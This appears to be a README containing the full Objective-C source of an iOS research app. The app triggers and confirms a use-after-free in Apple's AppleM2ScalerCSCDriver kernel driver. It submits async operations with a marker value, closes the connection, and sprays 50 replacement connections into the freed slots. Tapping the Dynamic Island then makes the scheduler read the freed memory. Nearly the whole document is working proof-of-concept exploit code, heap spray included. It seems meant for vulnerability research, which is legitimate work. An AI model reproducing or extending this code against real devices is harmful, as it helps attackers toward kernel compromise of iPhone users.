README.md
Rendering markdown...
// ScalerTeardownUAF.m — UAF via async submit + connection teardown
// 1. Submit credit=0xDEAD0001 async ops (distinctive marker, in scheduler heap)
// 2. Close connection (frees per_client + ops, stale heap entries remain)
// 3. Spray replacement objects (new connections with credit=0xBEEF0002)
// 4. Dynamic Island triggers scheduler → reads freed/sprayed memory → x9=BEEF0002
// If crash with DIFFERENT x9 than our credit → UAF CONFIRMED
// Bundle: com.research.iphoneprobe
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <IOSurface/IOSurfaceRef.h>
#import <IOKit/IOKitLib.h>
#include <mach/mach.h>
#include <mach/mach_time.h>
#define TSD_SIZE 0x1B0
@interface UAFVC : UIViewController
@property (nonatomic, strong) UITextView *logView;
@property (nonatomic, strong) UIButton *clipBtn;
@property (nonatomic, strong) UIButton *startBtn;
@property (nonatomic, strong) NSMutableString *logBuf;
@end
@implementation UAFVC
- (void)viewDidLoad {
[super viewDidLoad];
self.view.backgroundColor = [UIColor blackColor];
self.logBuf = [NSMutableString new];
self.clipBtn = [UIButton buttonWithType:UIButtonTypeSystem];
self.clipBtn.frame = CGRectMake(10, 50, 100, 36);
[self.clipBtn setTitle:@"COPY" forState:UIControlStateNormal];
[self.clipBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];
self.clipBtn.backgroundColor = [UIColor colorWithRed:0.2 green:0.5 blue:0.2 alpha:1.0];
self.clipBtn.layer.cornerRadius = 6;
[self.clipBtn addTarget:self action:@selector(doClip) forControlEvents:UIControlEventTouchUpInside];
[self.view addSubview:self.clipBtn];
self.startBtn = [UIButton buttonWithType:UIButtonTypeSystem];
self.startBtn.frame = CGRectMake(120, 50, 260, 36);
[self.startBtn setTitle:@"TEARDOWN UAF" forState:UIControlStateNormal];
[self.startBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];
self.startBtn.backgroundColor = [UIColor colorWithRed:0.8 green:0.0 blue:0.0 alpha:1.0];
self.startBtn.layer.cornerRadius = 6;
[self.startBtn addTarget:self action:@selector(startTest) forControlEvents:UIControlEventTouchUpInside];
[self.view addSubview:self.startBtn];
CGFloat y = 94;
self.logView = [[UITextView alloc] initWithFrame:CGRectMake(10, y, self.view.bounds.size.width - 20,
self.view.bounds.size.height - y - 10)];
self.logView.backgroundColor = [UIColor colorWithWhite:0.1 alpha:1.0];
self.logView.textColor = [UIColor greenColor];
self.logView.font = [UIFont fontWithName:@"Menlo" size:9];
self.logView.editable = NO;
self.logView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
[self.view addSubview:self.logView];
[self log:@"=== TEARDOWN UAF TEST ==="];
[self log:@"1. Submit async ops with credit=0xDEAD0001"];
[self log:@"2. Close connection (free per_client + ops)"];
[self log:@"3. Spray 50 new connections"];
[self log:@"4. Dynamic Island → if crash, check x9"];
[self log:@"x9=DEAD0001 → stale entry, same credit"];
[self log:@"x9=DIFFERENT → freed memory reused → UAF!"];
}
- (void)log:(NSString *)msg {
NSString *line = [NSString stringWithFormat:@"%@\n", msg];
[self.logBuf appendString:line];
NSLog(@"[UAF] %@", msg);
dispatch_async(dispatch_get_main_queue(), ^{
self.logView.text = self.logBuf;
if (self.logBuf.length > 0)
[self.logView scrollRangeToVisible:NSMakeRange(self.logBuf.length - 1, 1)];
});
}
- (void)doClip { [UIPasteboard generalPasteboard].string = self.logBuf; [self log:@"=== COPIED ==="]; }
- (void)startTest {
self.startBtn.enabled = NO;
dispatch_async(dispatch_get_global_queue(0, 0), ^{ [self runUAF]; });
}
- (void)runUAF {
mach_port_t mp; IOMainPort(kIOMainPortDefault, &mp);
io_service_t svc = IOServiceGetMatchingService(mp, IOServiceMatching("AppleM2ScalerCSCDriver"));
if (!svc) { [self log:@"No driver"]; return; }
// ============ STEP 1: Open victim connection ============
[self log:@"\n=== STEP 1: Open victim connection ==="];
io_connect_t victim = IO_OBJECT_NULL;
IOReturn kr = IOServiceOpen(svc, mach_task_self(), 0, &victim);
[self log:[NSString stringWithFormat:@"Victim conn: 0x%x (kr=0x%x)", victim, kr]];
NSDictionary *sp = @{(id)kIOSurfaceWidth:@(32),(id)kIOSurfaceHeight:@(32),
(id)kIOSurfaceBytesPerElement:@(4),(id)kIOSurfacePixelFormat:@(0x42475241)};
IOSurfaceRef srcS = IOSurfaceCreate((__bridge CFDictionaryRef)sp);
IOSurfaceRef dstS = IOSurfaceCreate((__bridge CFDictionaryRef)sp);
uint32_t srcID = IOSurfaceGetID(srcS), dstID = IOSurfaceGetID(dstS);
uint8_t baseline[TSD_SIZE];
memset(baseline, 0, TSD_SIZE);
*(uint32_t *)(baseline + 0) = srcID;
*(uint32_t *)(baseline + 4) = dstID;
// Sync baseline first
kr = IOConnectCallMethod(victim, 1, NULL, 0, baseline, TSD_SIZE, NULL, NULL, NULL, NULL);
[self log:[NSString stringWithFormat:@"Sync baseline: 0x%x", kr]];
// ============ STEP 2: Set credit and submit async ops ============
[self log:@"\n=== STEP 2: Set credit=0xDEAD0001, submit 50 async ops ==="];
{
uint8_t s10[0x18]; memset(s10, 0, 0x18);
*(uint32_t *)s10 = 0xDEAD0001; // Distinctive marker
uint64_t sc[3] = {0,0,0};
kr = IOConnectCallMethod(victim, 10, sc, 3, s10, 0x18, NULL, NULL, NULL, NULL);
[self log:[NSString stringWithFormat:@"Sel 10 (credit=0xDEAD0001): 0x%x", kr]];
}
// Submit async ops (TSD[0x008]=1)
int asyncOK = 0;
for (int i = 0; i < 50; i++) {
uint8_t async_tsd[TSD_SIZE];
memcpy(async_tsd, baseline, TSD_SIZE);
*(uint64_t *)(async_tsd + 0x008) = 1; // Async path
kr = IOConnectCallMethod(victim, 1, NULL, 0, async_tsd, TSD_SIZE, NULL, NULL, NULL, NULL);
if (kr == 0) asyncOK++;
}
[self log:[NSString stringWithFormat:@"Async ops: %d/50 OK", asyncOK]];
[self log:@"50 entries with credit=0xDEAD0001 now in scheduler heap"];
// ============ STEP 3: Close victim connection ============
[self log:@"\n=== STEP 3: CLOSING victim connection ==="];
[self log:@"This frees per_client (0x170 bytes) + operation objects"];
[self log:@"If scheduler heap retains entries → dangling pointers"];
kr = IOServiceClose(victim);
[self log:[NSString stringWithFormat:@"IOServiceClose: 0x%x", kr]];
[self log:@"Victim freed. Scheduler may still reference freed memory."];
// ============ STEP 4: Spray replacement objects ============
[self log:@"\n=== STEP 4: Spray 50 new connections ==="];
[self log:@"Each allocates a 0x170-byte per_client object"];
[self log:@"These may fill the freed victim's memory slot"];
io_connect_t spray[50];
int sprayOK = 0;
for (int i = 0; i < 50; i++) {
spray[i] = IO_OBJECT_NULL;
kr = IOServiceOpen(svc, mach_task_self(), 0, &spray[i]);
if (kr == 0 && spray[i]) {
sprayOK++;
// Set a DIFFERENT credit on spray connections
uint8_t s10[0x18]; memset(s10, 0, 0x18);
*(uint32_t *)s10 = 0xBEEF0002; // Different marker
uint64_t sc[3] = {0,0,0};
IOConnectCallMethod(spray[i], 10, sc, 3, s10, 0x18, NULL, NULL, NULL, NULL);
}
}
[self log:[NSString stringWithFormat:@"Spray: %d/50 connections opened", sprayOK]];
[self log:@"Each has credit=0xBEEF0002 at per_client+0x158"];
// ============ STEP 5: Trigger scheduler ============
[self log:@"\n=== STEP 5: Trigger scheduler ==="];
[self log:@">>> TAP DYNAMIC ISLAND NOW <<<"];
[self log:@""];
[self log:@"If x9 = 0xDEAD0001 → stale entry, credit from victim"];
[self log:@"If x9 = 0xBEEF0002 → UAF! Freed memory reused by spray!"];
[self log:@"If x9 = something else → freed memory reused by system"];
[self log:@"If no crash → entries were properly cleaned up"];
// Keep alive and submit ops on spray connections to trigger scheduling
[self log:@"\nSubmitting ops on spray connections to trigger scheduling..."];
for (int round = 0; round < 100; round++) {
for (int i = 0; i < sprayOK && i < 50; i++) {
if (spray[i]) {
uint8_t async_tsd[TSD_SIZE];
memcpy(async_tsd, baseline, TSD_SIZE);
*(uint64_t *)(async_tsd + 0x008) = 1;
IOConnectCallMethod(spray[i], 1, NULL, 0, async_tsd, TSD_SIZE, NULL, NULL, NULL, NULL);
}
}
if (round % 10 == 0)
[self log:[NSString stringWithFormat:@" Round %d/100 (tap Dynamic Island!)", round]];
usleep(100000);
}
[self log:@"\n=== 100 rounds done. Tap Dynamic Island if not crashed yet ==="];
IOObjectRelease(svc);
while (1) { sleep(5); [self log:@" alive..."]; }
}
@end
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
@implementation AppDelegate
- (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(NSDictionary *)opts {
self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
self.window.rootViewController = [[UAFVC alloc] init];
[self.window makeKeyAndVisible]; return YES;
}
@end
int main(int argc, char *argv[]) {
@autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); }
}